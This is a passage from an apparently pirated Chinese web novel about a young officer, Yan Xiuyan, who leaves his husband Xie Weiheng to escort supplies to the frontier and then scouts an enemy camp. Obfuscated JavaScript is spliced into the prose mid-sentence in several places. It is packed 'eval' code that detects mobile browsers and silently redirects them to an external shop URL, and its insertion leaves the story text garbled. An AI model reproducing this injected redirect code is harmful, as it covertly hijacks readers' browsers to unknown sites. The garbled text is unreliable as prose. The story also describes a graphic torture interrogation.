谢伟恒似是看穿了他眼底一闪而过的思虑,眼底笑意不变,淡淡开口:“若是你久久未归,我自当寻个合理由头去边关探望你。” 燕修延眯起双眼,紧紧盯着眼前之人。 谢伟恒始终笑意温润,坦然与他对视。 燕修延被他看得心思慌乱,不自在地移开视线:“不劳谢书令大驾,军功攒够了我就回来了,绝不拖延。” 接下来三天,燕修延过得相当安逸,尽情享受最后的清闲时光。 吃吃喝喝,听听戏,逛逛街,泡泡温泉——就纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646349|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡。 “舒坦。” 燕修延懒懒倚靠在池壁之上,水面漂浮着精致木盘,盘中美酒佳肴一应俱全。 他抬手端起白玉酒杯,浅酌一口清冽美酒:“以后我一定辞官归闲,这样无拘无束的日子才叫日子嘛!” 有钱有闲。 不过,回来后真的辞官居家,日日闲散无事,谢伟恒该不会两天一小睡、三天一大睡吧…… 耳畔传来谢伟恒温润的笑问:“修延怎么这般盯着我看?” “看你好看,百看不厌。” 燕修延收回思绪,辞官之事还是再好好斟酌一番为妙。 三日光阴转瞬即逝,眨眼就到了远赴边关的前一夜。 燕修延平躺于枕上,睁着双眼望着漆黑的帐顶,静谧中忽然开口:“谢伟恒,等我从边关回来,你当真不想要一个小谢公子?我给你生一个。” 谢伟恒侧身将燕修延温柔揽入紧实怀中,掌心轻轻贴着他的腰腹:“不想,女子生育已是九死一生、万般艰难,更何况是男子,我舍不得你受半分苦楚。” 燕修延乖乖窝在他怀里,轻声应道:“那好吧。” 嘴上虽然那么说,但早在数日之前,他就悄悄吩咐柳岚寻觅名贵生子药。 慈宁宫的佛堂,佛灯摇曳。 太后孤身跪在蒲团之上,青灯古佛,檀香袅袅。 她双手合十,眉眼虔诚,对着佛龛深深祈福,低声呢喃:“姐姐,明日延儿要远赴边关、奔赴险境,你在天之灵千万护他岁岁平安、百战无伤,早日归来。” 第二天,燕修延一身利落劲装,翻身上马,身姿挺拔飒爽,奔赴千里边关。 谢伟恒策马随行,与他并辔而行,一路相送,嗓音温柔缱绻,反复叮嘱:“修延,路途遥远,事事小心,记得给我写信。” 燕修延听得耳朵都快要起茧子,无奈又心软,轻声打趣:“谢伟恒哎,这话你都说几十遍了,我会给你写的,你放一百二十个心。” 话音落下,他觉得自己的语气听上去好像有些太过敷衍、不耐烦,他软了语调又认真补充:“等出了京郊我就开始提笔给你写信,每到一处地方歇脚我就给你写一封,到了边关军营我每天给你写一封信,让你收信收到手软,堆积满满一案。” 谢伟恒笑弯了眉眼,眼底盛满温柔星光,重重颔首:“好,我等着。” 他知道燕修延不是在空口虚言,定然言出必行。 谢伟恒不舍离别,一路策马相送,越送越远,迟迟不愿转身归去。 燕修延勒住马缰,骏马扬蹄驻足。 他倾身向前,抬手拽住谢伟恒的衣襟,微微拉近两人距离,在他唇角落下一个短促又珍重的吻。 “行了,就送到这里吧。” 他眉眼温柔,语气带着安抚:“再送下去你怕是要一路跟着我奔赴边关了,回去等着我的信,乖啊。” “嗯。” 谢伟恒轻轻应下,指尖悄悄蹭过燕修延的掌心,温柔摩挲,轻声道:“我静候君佳音,等你凯旋。” 燕修延轻轻捏了捏他的指尖,眼底藏着不舍却依旧扬声道:“我走了!” 话音落,他不再回头,策马扬蹄,身姿决绝朝着远方长路奔去。 长风猎猎,衣袂翻飞,身影一点点远去,直至彻底消失在道路尽头。 谢伟恒立在原地,静静凝望远方空旷长路,久久未动,直到视野之中再无半分熟悉身影,才缓缓调转马头,策马归府。 回府庭院,雪白蓬松的大白正自在庭院中撒欢,追着翩飞的彩蝶蹦跳嬉闹。 谢伟恒上前伸手将蹦跳的大白提溜起来。 大白四肢悬空,茫然蹬腿,发出软软的嗷嗷叫声,满眼疑惑。 谢伟恒垂眸望着懵懂的雄狮,唇角扬起温柔笑意,轻声开口:“走,从今日起好好受训。在修延归来之前,我定要把你训成威震四方的狮将。” 192. 谢伟恒?暂且不认识 两千匹战马蹄声隆隆,五百余辆粮草辎重车首尾相接,绵延出长长一队人马。 此番押送,虞睿祥足足调拨了五千兵士随行护卫,队伍行在官道之上,气势浩荡。 锦似程勒住坐骑,催马凑近燕修延身侧,眼底藏着促狭的笑意,语气带着几分暧昧打趣:“我可都看见了呦,方才你按着谢大人亲呢。” 燕修延半倚在马背上,一身劲装衬得身形利落,听闻这话只是懒洋洋地撩起眼皮:“怎的?我自家的媳妇儿,难道还亲不得了?” “亲得,自然是亲得。” 锦似程连连点头,好奇心彻底被勾了起来,追着问道:“说真的,谢大人当真是你媳妇儿啊?” “不然呢?” 燕修延挑眉反问,手上轻轻拍了拍身下骏马的脖颈。 锦似程对谢、燕二人的关系好奇得很,往日里听到的闲话不少,有说谢伟恒主动俯身拥着燕修延亲的,也有说撞见燕修延反客为主。 他自认眼光独到,看人向来一准。 可偏偏对着这两位,全然摸不透谁才是占上风的那个,越想越觉得新奇。 燕修延懒得再陪他猜来猜去,又拍了一下马颈低喝一声:“孜然,走了,咱们不跟傻子并肩赶路。” 这匹马是谢家江南马场送来的良驹,燕修延特意给它取名“孜然”。 跟他的长枪“串串”正好配成一对。 上阵杀敌时,将敌人穿在长枪之上,架火一烤,再撒上些许孜然,想想就觉得有趣。 哎嘿。 “唉,你这人真是半点亏都不肯吃。” 锦似程望着燕修延策马前行的背影,无奈又好笑地摇了摇头,也催动马儿跟上去。 队伍行至中途歇脚之地,众人纷纷下马休整。 燕修延从随身的包袱里翻出一套笔墨纸砚,平铺在案几上。 锦似程见状脚步下意识顿住,凑过来好奇的看着,他记得燕修延不爱舞文弄墨,一手字迹也算不得好看,难不成和谢伟恒成亲后,被谢伟恒耳濡目染,养成了练字的习惯? 燕修延全然不理会身旁探究的目光,提笔蘸墨,落笔就写,纸上字迹潦草张扬: 【谢书令,谢大蚊子,谢媳妇儿,我现在已经到了歇脚处……】 锦似程细看,眉头紧紧拧成一团,费了好一番功夫才勉强辨认出燕修延写的是什么。 “不是我说,你跟谢大人成亲这么久了,他就没教过你练字?你这字拿出去可忒丢咱们武将的脸面。” 燕修延随手抽过一张空白宣纸,将狼毫笔径直塞到锦似程手中:“那你来写写看。” 锦似程自信心满满,抬手就落笔,可刚写下两个字。 就被燕修延伸手直接将他拨到一旁,嗤笑道:“你怎么好意思说我字丑的?典型的五十步笑百步。” 要说燕修延的字丑,至少笔画清晰,旁人尚能辨认,锦似程的字迹才叫一言难尽——写字,笔画缺胳膊少腿的也就算了,有的字还直接写错,辨认起来堪比天书。 “早就听闻锦家小子打小就是个顽劣泼皮货,气走了一位又一位教书先生。” 燕修延把纸笔拿回来准备重新坐定继续写信:“如今算是见识到了,教我的先生若是看到你怕是再也不会念叨我顽劣难教了,你赶紧滚开,偷看别人夫夫间说体己话是什么毛病。” 锦似程满心不服,梗着脖子道:“你休要嘴硬,你再写几个字,我拿去让旁人评评理!” 燕修延不以为意,运笔写下“醉卧沙场”四字,随手将纸张丢给锦似程。 待他洋洋洒洒将书信写完,仔细叠好塞进信封,用火漆封牢,一抬眼就看见锦似程像只偷腥的猫儿,攥着两张纸一溜烟蹿出去了。 燕修延目光一转,撞见紧随锦似程身后的田靖,出声将人拦下:“他是不是拿了两张纸问你优劣?” 田靖老实点头回话:“他问我哪幅字更好看,我说两张都算不上好看,他又执意让我挑个稍强些的,我就选了写着‘醉卧沙场’那张,好歹能看清写的是什么。” “我晓得了,你去吧。” 打发走田靖,燕修延转身找到军中负责传信的信使,将封好的书信递了过去:“信使,劳烦帮我将这封信送到谢书令手中。” 信使微微一愣,随即露出了然的笑意:“这才上路没多久就急着寄信了?人人都说谢大人与燕大人情深意笃,今日一见果然不假。” 燕修延跟这位信使不算熟还指着人家送信,自然不好抬脚踹人家。 只能打着哈哈敷衍:“哈哈哈,是啊,这才出来没多久就挂念上了。” 挂念? 才怪,他现在脱离管束自在得很,谢伟恒是谁? 暂且不认识。 信使把信收好。 燕修延摸出几锭碎银子塞给信使,低声叮嘱:“路上尽量快些送达。” 他可不想耽搁,免得谢伟恒书信收迟了,少不得要在小本子上记他一笔,然后等他彻底返程回京时被秋后算总账。 伸了个懒腰,燕修延转身去找锦似程。 转过一处,就见对方躲在僻静角落,握着笔对着纸张写写画画。 “锦大人,呦,这是在偷偷练字呢?” 突如其来的声音吓得锦似程手一抖,笔尖在纸上划出一道长长的墨痕。 “谁练字了?我不过是闲来无事,给家中亲人写封家书罢了。” 燕修延目光扫过桌面,笑眯眯道:“你给家人写信,内容倒是格外独特啊。” 纸上同一个字被反复书写了十几遍。 锦似程脸上一热,抬手将宣纸揉成一团丢在地上,反将一军:“我想写什么就写什么,燕大人你这般悄悄窥探别人写信,似乎也不太好吧?” 燕修延双臂环胸,微微抬着下巴,一副理直气壮的模样:“确实不好,可我就想在此处待着,若是介意不如你换个地方?” 锦似程被噎得说不出话,无奈之下只得收拾纸笔,悻悻然去往别处。 等人走远,燕修延纵身一跃,轻巧落在一棵大树粗壮的枝杈上,舒展四肢躺了下来。 四下静谧,旅途漫漫,一时间只觉得百无聊赖。 想再写一封信给谢伟恒好好说说锦似程字不如自己,还躲起来偷偷练字的趣事。 转念一想,还是作罢吧,趣事要慢慢积攒,一次说完往后就没新鲜内容可写了。 锦似程走出去老远,心想他干嘛要练字?燕修延的字也不过比自己略好一丁点罢了。 分明就是大哥笑二哥。 正行间,两道交谈声传入耳中,正是方才那位送信的信使和同伴。 “燕正使和谢书令一定很甜蜜,他寄给谢书令的信写的可多了。” “是吗?” “你不信?不信你摸摸这信封。” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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锦似程抬手回礼,正色道:“冯将军客气,陛下命我与燕正使押送物资和一千匹战马前来交割,还请您清点验收一下。” “点什么点。” 燕修延翻身下马,摆摆手,肚子适时发出一阵轻响:“先回军营找点吃食,我都快饿死了。” 锦似程:“……” 他记得一盏茶之前,燕修延才啃完两块肉饼。 冯父给大儿子递了个眼色,示意他赶紧把这个活宝燕修延带走,免得继续闹心。 冯大哥走上前对燕修延温声说道:“走吧,娘算着时日知道你今日到了肯定会喊饿,早早就备好了吃食,就等你呢。” 京城李府书房之中,气氛截然紧绷。 魏仲泽站在一旁口述指令,李想握着狼毫笔,一边听一边伏案记录。 “吩咐羯人严加看管地牢之中的人,切勿出半点差错。择良机整军出击,突袭冯家军驻地。” 魏仲泽面色阴鸷,燕修延一心想着立下军功稳步高升,他偏要从中作梗断了对方的念想。 公主府的花房内,又是另一番光景。 虞湘晔与王璟妍并肩而立,细心修剪着繁茂的花枝。 一旁的李羽飞手持画笔,将眼前悠然恬静的一幕细细勾勒入画。 画至半途,她心口一阵闷痛,手中画笔险些脱手。 莫名的不安涌上心头,冥冥之中总觉得李想一定会借着此次机会暗中谋划,掀起一场风波。 193. 他彻底认怂! “冯娘亲哎!我日思夜想的冯娘亲唉~” 燕修延看见见冯母就扑到冯母身前,眉眼弯弯,活像个讨糖吃的孩童:“刚才大哥说你特意给我备了好吃的~” 冯母笑着抬手,温柔地摸了摸干儿子的脑袋,目光里满是疼惜:“一路风餐露宿,瞧着都清瘦了不少,不过都是些家常饭菜,肯定没有谢府厨子的手艺精致。” “我不管,在我心里冯娘亲做的吃食,就是天底下最好的美味!”燕修延毫不犹豫地开口,话语说得格外真心。 冯母笑着转身,将灶上小火煨着的几样菜肴一一端上桌,又麻利地添上一副崭新碗筷:“快坐下趁热吃,一路赶路也该饿坏了。” 燕修延落座后立刻拿起筷子,夹起一块炖得软烂入味的排骨送入口中,咀嚼两下就两眼发亮,连声赞叹:“香!实在太香了,都要把我香迷糊咯!” 冯母坐在一旁,含笑看着他大快朵颐。 不过片刻功夫,桌上三菜一汤就被燕修延扫荡大半。 “这一路上不方便住店,不是干粮就是烤兔子烤鸡,偶尔路过驿站我就买点新鲜东西垫垫肚子。” 待放下碗筷,燕修延惬意地拍了拍圆滚滚的肚子,笑道:“总算吃舒服了,七分饱,刚刚好。” 以前有干粮、野味就能凑合一餐,从不挑剔。 可现在在谢府待久了,口舌都被精细膳食养得刁钻起来。 觉得野外自己烤制的野味少了滋味,干硬的干粮噎得人喉咙发紧,就连沿途驿站的饭菜,也只能勉强入口。 好在他冯娘亲的手艺好。 做的家常菜,最合他心意。 “若是没吃够,娘再去给你下碗热汤面?” 冯母见他意犹未尽,准备起身。 燕修延连忙伸手拦住冯母:“不用啦,反正再过一阵子就到晚饭时辰了,可别把我撑着。” 冯家几位兄长听见小弟只吃了七分饱,纷纷动了心思。 冯大哥转身取来一只紧实的风干腊鸭。 冯二哥拎出一大包醇香耐嚼的牛肉干。 冯三哥端来一筐汁水饱满的新鲜鲜果。 冯四哥更是抱来一坛封存许久的糯米甜酒。 几样吃食酒水轮番下肚,燕修延原本七分饱的肚子,硬生生被填得满满当当。 无奈之下,他只得扶着腰走出院落,慢悠悠地踱步消食。 锦似程寻过来时,他上下打量着步履缓慢、一手扶腰的燕修延:“燕大人,瞧你这模样,莫不是怀了?” “滚蛋!” 燕修延脸色一黑,随手抄起放在外面的长凳就朝锦似程丢过去。 锦似程眼疾手快,抬手稳稳接住木凳——好吧,凳子传来的力道震得他整条手臂发麻。 他苦着脸叫嚷:“燕大人!不过随口玩笑一句,你也不至于下手这么重吧!” 燕修延冷哼一声,压根懒得理会他。 这边动静惊动了吃饭的冯二哥,他端着饭碗快步跑出来,好奇地追问:“出什么事了?小弟,当真如小锦所说,你怀了?” 燕修延瞥他一眼,脸上露出似笑非笑的神情,转头朝着屋内扬声喊道:“二嫂,你快看,二哥他又拿我打趣欺负我呢!” 冯二嫂应声笑着走出来,二话不说先把冯二哥手中的饭碗收走,转而递过去一根青苦瓜:“既然嘴闲不住,那就吃这个当晚饭吧。” 冯二哥瞬间垮下脸,哭丧着脸辩解:“啊?媳妇儿,苦瓜寡淡又味苦,哪里顶得住饿?再说了我也是听小锦说小弟怀了啊,可不是故意调侃小弟的。” 冯二嫂作势要把苦瓜拿过来不给他吃:“我管不了小锦大人,还管不住你?怎么,是不稀罕让我管你了?” “稀罕稀罕,再稀罕不过了,一百二十个稀罕!” 冯二哥连忙改口,张嘴咬下大半截苦瓜,脸庞被苦涩的味道皱成一团,嘴上却硬撑着笑道:“媳妇儿给的东西就是好吃,苦瓜再苦也是甜的!” 冯二嫂被他这副模样逗笑,又取来一个暄软的肉包子塞到他手里。 冯二哥立马喜笑颜开,连连夸赞自家妻子:“媳妇儿对我真好!” 锦似程凑到燕修延身侧,压低声音挤眉弄眼:“我算是看明白了,冯家,该不会是祖传的妻管严吧?” 燕修延斜睨他一眼:“你哪只眼睛看出来的?纯属胡言乱语。” “好好好,算我看错。” 锦似程话锋一转,眼底泛起玩味:“这边关远离京城,规矩也松快些,不如咱们寻处花楼,喝点小酒消遣消遣?” 这回燕修延连眼皮都懒得抬,自顾自缓步走动消食,全然不接他的话茬。 锦似程见状笑得直拍大腿,打趣道:“还说不是妻管严,你怂了吧?哈哈哈!” 燕修延白眼都翻到天上去了,他心里门儿清,这事万万不能沾。 要是让谢伟恒得知他跑去花楼饮酒作乐,等回到京城,自己怕是连着好几日都别想下床了。 冯母笑着热情招呼锦似程:“小锦大人,一路奔波想必也饿了,快过来坐,我给你盛碗饭一同用膳?” “好嘞,多谢冯伯母,那我就不客气了。” 锦似程半点拘谨也无,搬过凳子就落座用餐。 燕修延哼哼两声,故意踱得离两人远了些。 他抬眼望向天边渐沉的暮色,估摸着此刻京城谢府也该开饭了。 不知自己寄出的书信,如今有没有送到谢伟恒手中。 谢伟恒的信他已经收到好多封了。 要不怎么说读书人行文讲究、麻烦呢,谢伟恒给他写的信通篇文辞雅致,后面还附上一段直白浅俗的白话字句,字句间满是缱绻情意,直白又露骨。 燕修延想着,脸颊微微发烫,连忙走到风口处,任由晚风拂过面庞,驱散脸上的燥热。 待到腹中积食渐渐消化,回去的时候,其他人也都用完了晚饭。 燕修延径直去找冯父,开门见山询问边关近况:“冯爹啊,现在边境局势是怎么个情况?” 冯父俯身指向桌案上的地形沙盘,伸手插上两面小小的旗帜,面色凝重:“近来乌孙与羯国屡屡派出小股人马,在边境滋扰劫掠。我们接连派出数波探子却始终没能查到他们主力营地的位置,着实棘手。” “这群游兵散勇,最是扰人。” 燕修延伸手将沙盘上代表两国的小旗子拔了下来。 “冯爹,此番我带来了几名好手,个个都有独门本事。其中一人名唤田靖,擅长勘测地形,绘制的地景图和实景相差无几,定能帮上大忙。” 冯父闻言眼前一亮,喜道:“哦?竟有这般能人?那可是军中至宝!” 燕修延伸出手指,一一介绍随行众人的本领: “梁永诚擅使流星锤,招式迅猛; 程旭箭术超群,百步穿杨; 田靖堪称活地图,勘测绘制无一不精; 还有沥老,精通驭兽之术,用处极多。” “好!好!好!” 冯父连道三声好,心中大喜:“极好啊!这些都是身怀绝技之人啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646351|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他深知自己这个干儿子眼界极高,能被他亲口夸赞的人,本领必然实打实的出众。 父子二人对着沙盘,细细商议边境布防与探查之计。 不多时,锦似程也寻了过来。 他此番同燕修延前来边关,目的同样是积攒军功。 只是二人心思不同,锦似程只想借着军功想看看能不能努努力,职位能超越自家父亲。 老头子天天催促他上进、催他娶妻。 烦死了。 锦似程一拍胸脯,语气爽朗:“燕大人,接下来我就跟着你混,跟着你捡军功!你下令杀敌我绝不去放火;你安排布防我也绝不擅自行事!” 燕修延一脸嫌弃地瞥着他:“听你这话,倒像是我平日里只会打打杀杀、肆意妄为一般。” 他转头看向冯父,正色问道:“冯爹,之前擒获的敌军俘虏如今关押在何处?” 冯父领会他的用意,点头道:“都收押在营地里,我带你过去。” 锦似程见状立刻亦步亦趋地跟上来,跟跟屁虫似的。 燕修延脚步一顿,回头看他:“你确定要一同前去?” 锦似程一头雾水:“怎么?你们要说私密话不成?” “倒也不是。” 燕修延淡淡作答,不再多言,迈步朝着前方走去。 他不过是简单审问几句俘虏罢了。 画面一转,切至千里之外的一处密林深处。 李羽飞与虞湘晔隐身在高处的林木之间,静静注视着下方几名黑衣人挥锄挖土。 泥土不断被刨开,片刻后,被掩埋在此处的张采茵就显露出来。 柳岚快步上前,取出银针为她疏通气血,又仔细处理好她脸上未愈的伤口。 昏迷许久的张采茵睫毛轻轻颤动,缓缓睁开了双眼。 李羽飞上前伸手将她搀扶起身,语气平静无波:“李修远已经在公主府等候你了,随我们走吧。” 张采茵抬眼看向她,出声问道:“你就不好奇,这段日子都发生了些什么?” “并无兴趣。” 李羽飞神色冷然:“只要不耽误燕大人的布局,不影响我们复仇大计,旁的琐事皆无关紧要。” 张采茵从宽大的衣袖最深处,取出一叠叠记录着机密情报的纸卷,尽数交到李羽飞手中:“有一部分修远应当已经转交于你,余下这些也劳烦你一并送到燕大人手上。” …… 被擒获的乌孙俘虏被绑在刑架之上,半边身躯肌肤完好无损,另外半边却被生生剥去皮肤,血肉外翻,触目惊心。 凄厉刺耳的惨叫声在狭小的地方里回荡,听得人头皮阵阵发麻。 锦似程站在一旁,脸色发白,喉咙不断滚动拼命吞咽着口水。 他死死咬紧牙关,花了好大的力气、强撑着男子汉大丈夫的体面才没有捂住耳朵、闭上双眼转身逃离。 这哪里是燕修延口中轻飘飘的简单、审问、人? 直到此刻,锦似程才彻底明白为什么他爹总是说他方方面面都比不上燕修延了。 这是他头一回亲眼见到燕修延审问犯人的手段。 上阵杀敌直面刀光剑影他尚且不惧,但这般步步紧逼、折磨人心的拷问方式,看着好可怕啊啊啊! 锦似程心底打起了退堂鼓。 要不还是听从父亲的安排,回京娶妻生子,安稳度日得了。 建功立业、扬名立万什么的,还是留给燕修延去做吧。 比不上就比不上了。 他彻底认怂! 195. 你要能听懂就是兔子了 燕修延垂在身侧的指尖几不可查地蜷缩了一下,漆黑的眼瞳中眸光轻轻闪烁,掠过一丝复杂难辨的细碎情绪。 他迅速敛去眼底所有神色,步履轻快的走下高耸的城楼。 锦似程自然也将闲谈的话语听入耳中,半句声响也不敢发出。 冯老爷子和燕修延昔日激烈争执决裂的事情,他早有耳闻。 看冯家人上下对燕修延关怀备至、疼爱有加,几乎让他忘了这段尘封的过往。 直到刚才听见冯老爷子才想起来这茬。 当年冯老爷子愤然离京,走得决绝彻底,未曾给燕修延留下半分容身之所。 燕修延在成亲之前,始终孤零零守着那座破落的燕府,冷冷清清度日。 锦似程抬手挠挠后脑勺,看着燕修延挺拔孤寂的背影,张张嘴,最终还是什么劝慰的话都没能说出口。 燕修延回到住处,走到靠窗的书案前落座,开始提笔写信。 边关的风景谢伟恒肯定没见识过,不如画一幅画随书信一同寄去,让他瞧瞧自己眼下所处的山河风光。 燕修延捏起一支狼毫笔,低头轻轻咬住笔杆子,认真思索着落笔的章法。 该从何处画起好呢? 先画巍峨的城墙吧,城墙前面是一望无际的平原,再远点是层峦叠嶂、连绵起伏的青黛山川…… 燕修延就这么趴在案头一笔一画、慢慢勾勒,足足趴案描摹了一个时辰。 冯母见他屋内灯火迟迟未灭,心中牵挂就轻步走到门前抬手轻轻叩了叩木门:“幺儿,冯娘能进来么?” 燕修延放下手中狼毫,起身快步拉开木门:“娘,进来吧。” “幺儿你……” 冯母目光落在燕修延脸上不由得微微怔住,随即眉眼弯弯:“你怎么把自己弄成这副模样了?” “嗯?哪副样子?” 燕修延转身在铜镜前照了下。 镜面映出少年清俊的面容,脸颊、下颌甚至唇角边都沾了深浅不一的墨渍,黑黢黢的墨迹衬得整张脸又滑稽又可爱。 “嗨,刚才只顾着专心画画,没注意看。” 冯母有些惊奇,自己的干儿子居然会画画了?看来与谢伟恒成亲后浮躁的他渐渐沉稳下来学了不少本事、养出新性子。 垂眸看到纸上的东西,冯母抿抿嘴试图找些能夸的词。 “画的……” 燕修延满眼雀跃得意,咧嘴笑得眉眼明亮:“我画的是不是还不错?” 冯母连连点头顺着他的话夸赞:“画的不错、不错。” 就是看不出来画的是什么。 方框子上竖着撑起一根细杆,杆上歪歪扭扭分出四岔线条;方框子前面是一团缠绕交错、毫无章法的曲线,嗯…… 为了不打击燕修延难得的兴致,冯母硬生生将满心疑惑咽了回去。 倒是燕修延主动拉着她的手腕,细细指点着画作讲解:“这是边关的城墙(方框子)、这是我(带四个分叉的杆子)、这是远处的群山(复杂的曲线),我真的很有画画的天赋!” 冯母只能配合着干笑两声:“啊,对,我儿颇有绘画的天分,这么晚了快收拾收拾洗洗歇息吧。” “不急。” 燕修延轻轻吹了吹纸面未干的墨痕,小心翼翼将画纸铺平晾好:“我把信写完就睡,娘你先去睡觉吧。” “是给伟恒写信么?” “对啊。” 燕修延点头,眉眼温柔:“这画也是给他的,他没来过边关我画下来让他看看这边的风景。” 听闻此言,冯母眉眼间的笑意愈发浓郁,干儿子又是写信、又是画画的,显然跟谢伟恒相处的极好:“好,那你别熬得太晚,早些休息。” 她脚步轻快地转身离开。 一路走回自己的房间,脸上的笑意始终未曾褪去半分。 冯父问她可是遇到什么开心事情。 冯母将燕修延深夜提笔写信、作画寄给谢伟恒的事细细道来。 冯父也颇为惊奇:“这小子,居然肯安安静静写字画画——伟恒能看得懂他这画?” 冯母嗔怪地白他一眼:“幺儿的字虽不算好看,却也工整清晰哪里会让人看不懂?” 只是那个画,真的太过抽象。 也不知道谢伟恒能否读懂这份独一无二的边关心意。 燕修延写完家书,将亲手绘制的边关画卷细心夹入信笺,封好封口,待专人送出信件。 又拆开长公主千里寄来的密信,逐字看完。 他转身去找冯父讨要了二十名身形瘦小、身姿矫健、身手灵活的精锐士兵。 带上田靖、沥老和锦似程一行人,整装出发奔赴地势险峻的狭关道。 狭关道极其难走,沥老叫苦不迭,一边小心翼翼挪步一边不住低估,他就没走过这般难行的险路! 燕修延走在前方对锦似程道:“我原以为最先叫苦连天的人会是你。” 锦似程昂首挺胸扬起下巴,满脸傲气:“那不可能!我可不是怕吃苦的人!” 沥老小心翼翼、期期艾艾地开口,语气带着几分讨好与恳求:“我、我就是怕吃苦的人,能让我先回去么?” 燕修延侧过身抬手,随意做了一个“请便”的手势。 沥老真打算抬脚顺着来路折返。 夜幕笼罩山林,狭关道两侧古木参天,枝繁叶茂的树冠层层交叠、紧密相连,将头顶的天幕遮得严严实实。 白天这路看上去都幽暗阴森、雾气沉沉,更别说深夜时分,更是漆黑幽深、森然可怖。 沥老竖起一根手指,声音带着难以掩饰的发颤:“能派个人陪我回去么?” 燕修延懒得再搭理他,直接用后脑勺对着他,算是无声的拒绝。 其余众人皆是脚步不停紧紧跟随着燕修延,一步步往密林深处前行。 沥老只能硬着头皮继续跟上队伍,他可不要走在最后面。 太可怕了。 燕修延淡淡开口发问:“我记得你不怕鬼啊,怎么现在胆子这么小?” 沥老哭丧着一张脸,眉眼间满是惊惧与无奈:“这种深山密林里,最可怕的不是鬼啊!” 他懂驭兽,可那些毒虫又不听他的。 这种树专门生长在恶劣的环境里,其中滋养了不少不喜见光的毒虫。 毒虫咬死走兽和落在树上觅食的鸟儿,动物尸体腐烂后会化作树的养分,循环往复让这片山林的毒虫数不胜数。 “哦。” 一只体型硕大的飞虫振翅袭来,速度极快直扑众人面门。 燕修延眼疾手快,指尖一动,腰间短匕出鞘,寒光一闪精准刺穿了那只飞虫的躯体。 他们身上提前撒好秘制避虫药粉,寻常毒虫感知药气都会远远避开,不敢靠近。 奈何这片山林毒虫数量极多、凶性极强总有几只不要命的,不顾药粉侵袭贸然靠近。 但也架不住沥老打小就怕这些爬虫毒豸,半点克服不了。 燕修延抬手将匕首上的虫尸甩落在地。 沥老猝不及防瞥见那扭曲的虫尸,喉咙一紧忍不住溢出一声细碎的低呼,眼眶都湿润了——第一次失声尖叫时,燕修延嫌他聒噪直接上手卸了他的下颌,他至今记忆犹新,因此他现在不敢大声叫唤。 锦似程见他这般怯懦模样,满脸鄙夷:“你这也太怂了。” 沥老鼻尖酸涩,委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646353|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴地抽了抽鼻子,索性破罐子破摔:“我就是怂,你不服?” 燕修延从腰间取下一个密封的陶罐,目光扫过身旁树干,指尖飞快一探精准捉住一只藏在树皮缝隙间、通体漆黑、长足利爪的剧毒蜘蛛,放入罐中迅速合上盖子。 这罐中已然收纳了不少各色毒虫。 沥老喉头狠狠滚动两下:“你可千万把盖子盖严实了,千万别打开!” 燕修延将陶罐直接递到沥老眼前,作势就要掀开罐盖。 “别、别开!” 沥老瞳孔骤缩,心神俱裂,极致的恐惧攫住心神,吓得身子一颤,直接吓出一个响亮的嗝,鼻尖憋出两个晶莹的鼻涕泡。 燕修延忍着笑意收回陶罐,好家伙,居然能把人吓打嗝了。 沥老眼圈泛红、鼻尖通红,一脸惊魂未定的可怜模样。 “行了,别愣着赶紧跟上,锦似程你盯着他些,别让他被突然窜出来的虫子吓晕过去。” 锦似程一脸不情不愿的皱眉:“干嘛要我看着他?” “他会驭兽,吓晕了的话,敌人军营里的战马你替他弄回去?” 锦似程愕然,瞪大双眼看向怯懦无用的沥老:“驭兽?这么神的?” “吓晕过去就不神了。” 锦似程拍拍胸脯:“放心!包在我身上!待会儿但凡有虫子敢靠近他半分必先过我这关!” 出了狭关道,一行人又脚踏实地、稳步前行一个多时辰,终于遥遥望见远方开阔之地立着连片的营帐、旗幡隐约飘动。 燕修延侧身看向沥老,压低声音:“你可有法子驱使动物带我们寻到这片营地的水源上游?” “能的!” 沥老徒手捉住一只逃窜的肥硕野兔,从怀中取出一小瓶特制的透明药粉倒入野兔口中,轻轻揉搓几下助其快速吸收。 然后取出一支古朴黝黑的兽笛,凑到唇边,吹出一串节律奇异的曲调。 锦似程侧耳听了半晌,小声嘀咕:“这笛子莫不是坏了?吹的什么动静?” 燕修延目光紧紧锁定那只已然受药性与笛音操控、灵性大变的野兔,抬步紧跟其向左跳跃的轨迹前行:“你要是能听懂那你就是兔子了。” 